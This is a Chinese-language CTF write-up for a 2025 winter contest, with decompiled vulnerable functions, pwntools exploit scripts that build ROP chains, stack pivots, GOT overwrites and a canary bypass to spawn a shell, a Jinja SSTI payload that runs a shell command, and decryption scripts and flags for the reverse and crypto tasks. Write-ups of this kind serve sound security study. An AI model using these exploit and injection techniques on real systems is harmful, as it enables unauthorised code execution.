题目下载地址:https://github.com/0xviol1t/CTF-challenges/tree/main/2025/%E6%98%A5%E7%A7%8B%E6%9D%AF%E5%86%AC%E5%AD%A3%E8%B5%9B

PWN

bypass

main 函数中输入格式不正确的时候会输出 puts 函数地址,泄露 libc 地址,输入长度为 4 内容为 \x00 的时候会进入 compare 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall main(int a1, char **a2, char **a3)
{
...
*(_QWORD *)s = &puts;
((void (__fastcall *)(__int64 *, char **, char *))init_0)(&v6, a2, buf);
fd = open(".BYPASS", 0);
if ( fd >= 0 )
{
if ( read(fd, buf, 0x1000uLL) )
{
close(fd);
if ( buf[strlen(buf) - 1] == '\n' )
buf[strlen(buf) - 1] = 0;
v8 = strchr(buf, ':');
if ( v8 )
{
if ( (unsigned __int64)(v8 - buf) <= 0x3F )
{
if ( strlen(v8 + 1) <= 0x3F )
{
*v8 = 0;
strcpy(dest, buf);
strcpy(byte_602140, v8 + 1);
while ( 1 )
{
while ( 1 )
{
if ( read(0, &v7, 4uLL) != 4 )
return 1LL;
if ( v7 )
break;
compare();
}
if ( v7 == 1 )
break;
puts("Invalid");
puts(s);
}
return 0LL;
}
...
}

漏洞点在 compare 函数中,两次 read 都是向 buf 读取并且长度都是 0x200,第一次读取会复制到 KEY 中,第二次读取会复制到 VAL 中,而离 rbp 最近的 VAL 距离也超过 0x200,但是从 buf 复制的过程是遇 \x00 停止,所以可以从 buf 一直复制到 KEY,加起来就超过 0x200 了,但是在覆盖到 ret 的过程中还需要注意 rbp-2h 是复制的 index,要合理控制这个 i 让复制过程正确进行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int compare()
{
ssize_t v0; // rax
char buf[512]; // [rsp+0h] [rbp-610h] BYREF
char KEY[512]; // [rsp+200h] [rbp-410h] BYREF
char VAL[526]; // [rsp+400h] [rbp-210h] BYREF
__int16 i; // [rsp+60Eh] [rbp-2h]

memset(VAL, 0, 0x200uLL);
memset(KEY, 0, sizeof(KEY));
memset(buf, 0, sizeof(buf));
v0 = read(0, buf, 0x200uLL);
if ( v0 >= 0 )
{
LODWORD(v0) = strncmp(buf, "KEY: ", 5uLL);
if ( !(_DWORD)v0 )
{
for ( i = 5; buf[i]; ++i )
KEY[i - 5] = buf[i];
KEY[i - 5] = 0;
memset(buf, 0, sizeof(buf));
v0 = read(0, buf, 0x200uLL);
if ( v0 >= 0 )
{
LODWORD(v0) = strncmp(buf, "VAL: ", 5uLL);
if ( !(_DWORD)v0 )
{
for ( i = 5; buf[i]; ++i )
VAL[i - 5] = buf[i];
...
}
}
return v0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('39.106.48.123', 44314)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

r.send('abcd')

puts_addr = get_libc()
libc = ELF('./libc/libc-2.27.so')
libc_base = puts_addr - libc.sym['puts']

r.send('\x00\x00\x00\x00')
p = b'KEY: ' + b'c' * 19 + b'\x13\x02' + b'aaaaaaaa' + p64(0x4f302 + libc_base)
p = p.ljust(0x200, b'a')
r.send(p)
r.send(b'VAL: ' + b'b' * (0x200 - 0x5))

r.interactive()

gender_simulation

菜单里就给了 libc 地址,这题直接测试发现在输入 2 2 之后再输入可以直接劫持程序流,有个后门是性别为购物袋,存在栈溢出漏洞,直接溢出写 rop 链执行 system(‘/bin/sh’)

1
2
3
4
5
6
7
8
9
10
11
ssize_t gender(void)
{
__int64 v0; // rax
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = std::operator<<<std::char_traits<char>>(
&std::cout,
"If you think you are a shopping bag, please leave your gender certificate");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
return read(0, buf, 0x100uLL);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('47.94.84.92', 30857)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

r.recvuntil(b'0x')
addr = int(r.recv(12), 16)
libc = ELF('./libc6_2.39-0ubuntu8.3_amd64/usr/lib/x86_64-linux-gnu/libc.so.6')
libc_base = addr - libc.sym['setvbuf']

r.sendline('2')
r.sendline('2')

ret = 0x000000000040201a
pop_rdi_ret = 0x000000000010f75b + libc_base
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh\x00').__next__()

r.sendlineafter(b'certificate', p64(0x4025E6))

p = b'a' * 0x18 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
r.sendlineafter(b'certificate', p)

r.interactive()

riya

输入 n 直接跳到 LABEL_10 送 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __fastcall main(__int64 a1, char **a2, char **a3)
{
...
puts("y/n");
read(0, &v3, 1uLL);
if ( v3 != 'Y' )
{
if ( v3 <= 'Y' )
{
...
LABEL_10:
setuid(0x3E8u);
backdoor();
exit(0);
}
if ( v3 == 'n' )
goto LABEL_10;
if ( v3 != 'y' )
goto LABEL_11;
}
...
}

toys

这题只有一个栈溢出,还没什么 gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s[128]; // [rsp+0h] [rbp-80h] BYREF

init();
puts("There are no toys here!");
printf("Data: ");
fgets(s, 0x1337, stdin);
if ( strlen(s) > 0x80 )
{
puts("Too many!");
exit(-1);
}
puts("OK!");
return 0LL;
}

思路:

  • 由于缺少 pop_rdi_ret 等 gadgets,而且程序中的 puts 输出的都是 rodata 段的数据,而 strlen_len 的参数是 rbp - 0x80,所以需要改 strlen_got 为 puts_plt 去泄露在 rbp - 0x80提前布置好的 libc 地址
  • 修改 strlen_got 的方法是利用 fgets 向 rbp - 0x80 的位置写,修改 rbp 为 strlen_got + 0x80 再用 fgets 输入就能覆盖 strlen_got 为 puts_plt
  • 直接把栈迁移到 got 表那块会覆盖到其他有用的地址,所以需要迁移到程序段高地址去写 rop 链,其中一次输入在 strlen_got + 0x80

exp分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

main = 0x401274
got_addr = 0x404000
leave_ret = 0x00000000004012cd
puts_plt = elf.plt['puts']
strlen_got = elf.got['strlen']
strlen = 0x40128C

p = b'\x00' * 0x80 + p64(got_addr + 0x800) + p64(main)
r.sendlineafter(b':', p)

p = b'\x00' * 0x80 + p64(got_addr + 0x100) + p64(main) + p64(strlen_got + 0x80) + p64(main) + p64(strlen_got + 0x98) + p64(strlen) + p64(strlen_got + 0x700) + p64(main)
r.sendlineafter(b'OK', p)

p = p64(0) + p64(got_addr + 0x820) + p64(leave_ret) + p64(0) + p64(got_addr + 0x830) + p64(leave_ret)
p = p.ljust(0x80, b'\x00') + p64(got_addr + 0x810) + p64(leave_ret)
r.sendlineafter(b'OK', p)

r.sendlineafter(b'OK', p64(puts_plt))

libc_base = get_libc() - 0x88540
libc = ELF('./2.39/libc.so.6')

system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
pop_rdi_ret = libc_base + 0x000000000010f75b

p = b'\x00' * 0x88 + p64(pop_rdi_ret) + p64(binsh) + p64(system)
r.sendlineafter(b'OK', p)

r.interactive()

p = b'\x00' * 0x80 + p64(got_addr + 0x800) + p64(main)

=> rbp = got + 0x800

p = b'\x00' * 0x80 + p64(got_addr + 0x100) + p64(main) + p64(strlen_got + 0x80) + p64(main) + p64(strlen_got + 0x98) + p64(strlen) + p64(strlen_got + 0x700) + p64(main)

=> rbp = got + 0x100

1
2
3
4
got + 0x800 : p64(got_addr + 0x100) 	p64(main)
got + 0x810 : p64(strlen_got + 0x80) p64(main)
got + 0x820 : p64(strlen_got + 0x98) p64(strlen)
got + 0x830 : p64(strlen_got + 0x700) p64(main)

p = p64(0) + p64(got_addr + 0x820) + p64(leave_ret) + p64(0) + p64(got_addr + 0x830) + p64(leave_ret) p = p.ljust(0x80, b'\x00') + p64(got_addr + 0x810) + p64(leave_ret)

=> rbp = got + 0x810

1
2
3
got + 0x80 : p64(0) 	 	 	 	 	p64(got_addr + 0x820) 
got + 0x90 : p64(leave_ret) p64(0)
got + 0xa0 : p64(got_addr + 0x830) p64(leave_ret)
1
got + 0x100 : p64(got_addr + 0x810) 	p64(leave_ret)

接下来的程序流:

  • leave_ret 迁移到 got_addr + 0x818,执行 main

    1
    rbp : got + 0x100	=>	got + 0x810	=>	 strlen_got + 0x80

    两次 pop rbp 后 rbp 变成 strlen_got + 0x80

  • 此时 fgets 就是向 rbp - 0x80 即 strlen_got 读,发送 p64(puts_plt) 即可改 strlen_got 为 puts_plt

    1
    2
    rbp : strlen_got + 0x80 = got + 0x88 => got_addr + 0x820 => strlen_got + 0x98 = got + 0xa0
    ret : got + 0x90 => leave_ret
  • leave_ret 迁移到 rbp + 8 = got_addr + 0x828 => strlen,执行 main 中的 strlen,迁移时执行两次 pop rbp 使 rbp 变成 got + 0xa0

    1
    2
    rbp : got + 0xa0 => got_addr + 0x830
    ret : got + 0xa8 => leave_ret

    所以 strlen 的一参是 rbp - 0x80 = got + 0x20 = setvbuf_got,而 strlen_got 已经被改成 puts_plt,相当于执行 puts 输出了 setvbuf_got,最后 ret 是 leave_ret

  • 再次迁移到 rbp + 8 = got_addr + 0x838 = main,最后一次利用栈溢出写 rop 链执行 system(‘/bin/sh’)

rogue_like

本题有三次选择:

第一次选择一个武器,有三个选择,case 1 设置 libc 中任意 64 位地址为 0,case 2 写 libc 中任意地址一个 byte,case 3 泄露 /proc/self/maps 中的地址;

第二次选择一个祝福,case 1 会崩溃,case 2 和 case 3 功能 都是给任意地址加上 5 以内的值;

第三次选择一个挑战,case 1 溢出 0x10,case 2 输出 0x120 后输入 0xf0,无溢出,case 3 两次 read,一次刚好到 rbp,并且存在栈的 off-by-null

但是题目开了 canary,所以需要组合三次选择来绕过 canary 并且执行 rop

思路:第一次选 1,改 tls 中的 canary 为 0,第二次选 2,让 got 表中的 alarm + 5 得到 syscall,第三次选 3,程序中已经有 /bin/sh,再利用第二次 read 控制 rax 执行 syscall 即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pop_rdi_ret = 0x00000000004013f4
pop_rsi_ret = 0x00000000004013f6
pop_rdx_ret = 0x00000000004013f8
ret = 0x00000000004007fe
binsh = 0x00000000004019d7
syscall = elf.plt['alarm']

r.sendafter(b'>', b'1')
r.sendafter(b'!', str(0x2568))

r.sendafter(b'>', b'2')
r.sendafter(b'increase.', b'5')
r.sendafter(b'increase.', str(0x602058))

r.send(b'3')
p = b'a' * 0x7 + p64(ret) * 24 + p64(pop_rdi_ret) + p64(binsh) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall) + p64(0) * 2
r.send(p)
p = b'a' * 0x3 + p64(ret) * 7
r.send(p)

r.interactive()

WEB

easy_flask

直接用hackbar生成的ssti的exp改改:{{g.pop.globals.builtins'import'.popen('cat flag').read()}}

MISC

简单算术

随波逐流穷举异或0-200在31找到flag:flag{x0r_Brute_is_easy!}

REVERSE

easy-asm

flag{dea54885-92b4-11ef-b153-3c0af33af908}

已知flag开头

当黑盒做 直接猜出排序规律 根据偶数位的大小排序 两两一组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ida_chars1 = [
0x22, 0x10,
0x22, 0x15,
0x66, 0x16,

0x11, 0x20,
0x30, 0x20,
0x21, 0x22,
0x2C, 0x22,
0xCC, 0x22,
0xCC, 0x2C,
0x40, 0x30,
0x21, 0x33,
0x66, 0x33,
0x44, 0x40,
0x50, 0x40,

0x55, 0x41,
0x88, 0x42,
0x33, 0x60,
0x99, 0x88,
0xC2, 0xC2,
0x22, 0xCC,

0xFF, 0xFF,
]
# 0x22,0x10,0x22,0x15,0x66,0x16
#9,10 15 16 13 14
ida_chars2 = [
0x44, 0x7C, 0x43, 0x72, 0x1D, 0x72, 0x74, 0x41, 0x05, 0x14,
0x19, 0x1A, 0x19, 0x0F, 0xF5, 0x10, 0xAE, 0x18, 0x6D, 0x01,
0x10, 0x56, 0x00, 0x1E, 0x26, 0x71, 0x65, 0x73, 0x78, 0x72,
0xEB, 0x72, 0x52, 0x06, 0xAA, 0xBB, 0xA3, 0xA4, 0x1B , 0xFC,
0xC7, 0x82
]

for i in range(len(ida_chars2)):
print(chr(ida_chars1[i] ^ ida_chars2[i]),end="")
flag{dea54885-92b4-11ef-b153-3c0af33af908}

ezre

硬件断点调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ida_chars = [
0x5C, 0x76, 0x4A, 0x78, 0x15, 0x62, 0x05, 0x7C, 0x6B, 0x21,
0x40, 0x66, 0x5B, 0x1A, 0x48, 0x7A, 0x1E, 0x46, 0x7F, 0x28,
0x02, 0x75, 0x68, 0x2A, 0x34, 0x0C, 0x4B, 0x1D, 0x3D, 0x2E,
0x6B, 0x7A, 0x17, 0x45, 0x07, 0x75, 0x47, 0x27, 0x39, 0x78,
0x61, 0x0B
]

xor_bytes = [
0x3a, 0x1a, 0x2b, 0x1f, 0x6e, 0x0, 0x32, 0x45, 0x52, 0x44,
0x22, 0x55, 0x3a, 0x37, 0x7d, 0x43, 0x7b, 0x23, 0x52, 0x1c,
0x60, 0x46, 0x0a, 0x07, 0x56, 0x38, 0x72, 0x79, 0x10, 0x1d,
0x52, 0x4a, 0x2f, 0x75, 0x61, 0x16, 0x75, 0x14, 0x5c, 0x41,
0x58, 0x76
]

decrypted_chars = []
for i in range(42):
decrypted_char = xor_bytes[i] ^ ida_chars[i]
decrypted_chars.append(chr(decrypted_char))

decrypted_text = ''.join(decrypted_chars)
print(decrypted_text)

ko0h

前面的东西全是fake seh跳到其他地方

简单魔改RC4+一个key改值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def rc4_init(s, key, Len):
i = 0
j = 0
k = [0] * 256
tmp = 0
for i in range(256):
s[i] = i
k[i] = ord(key[i % Len])
for i in range(256):
j = (j + s[i] + k[i]) % 256
s[i], s[j] = s[j], s[i]

def rc4_crypt(s, Data, Len):
i = 0
j = 0
t = 0
k = 0
tmp = 0
for k in range(Len):
i = (i + 1) % 256
j = (j + s[i]) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
t = (s[i] + s[j]) % 256
Data[k] = (Data[k] + s[t]) % 256 # 魔改点

if __name__ == "__main__":
s = [0] * 256
s2 = [0] * 256
key = "DDDDAAAASSSS"
pData = [0x18, 0x9c, 0x47, 0x3d, 0x3b, 0xe1, 0x29, 0x27, 0x9f, 0x34, 0x83, 0xd5, 0xed, 0xb5,
ord('n'), ord('Y'), 0x7f, 0xde, 0x47, 0xd7, 0x65, 0x3f, 0x7a, 0x33, 0x5b, 0x64, 0xb6, 0xfa, 0x94, 0x55, 0x87, 0x42,
0x20, 6, 0xc, 0x69, 0xfe, 0x72, 0xa9, 0xe4, 0xd1, 0x7c]
len_pData = len(pData)

rc4_init(s, key, len(key))

for i in range(256):
print(f"{s[i]:02X}", end=" ")
if (i + 1) % 16 == 0:
print()
print("\\n")

for i in range(256):
s2[i] = s[i]
rc4_crypt(s, pData, len_pData)
print(f"{bytes(pData)}")
rc4_crypt(s2, pData, len_pData)
print(f"pData={bytes(pData)}")

CRYPTO

你是小哈斯?

依次解sha1

http://www.ttmd5.com/hash.php?type=5,flag{game_cqb_isis_cxyz}

通往哈希的旅程

cmd5.com在线解密:flag{18876011645}

funny_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *

funny1=-17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374
funny2=23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011
funny3=419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024
funny4=13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479
n=(funny3+1025)//funny2

e = 65537
d_values = []

for i in range(-1025, 1026):
phi = -funny1 + i + 1
if phi > 0:
try:
d = inverse(e, phi)
d_values.append(d)
except ValueError:
pass
for d in d_values:
hint = pow(funny4, d, n)
m = funny2 // hint
flag=long_to_bytes(m)
if b'flag'in flag:
print(flag)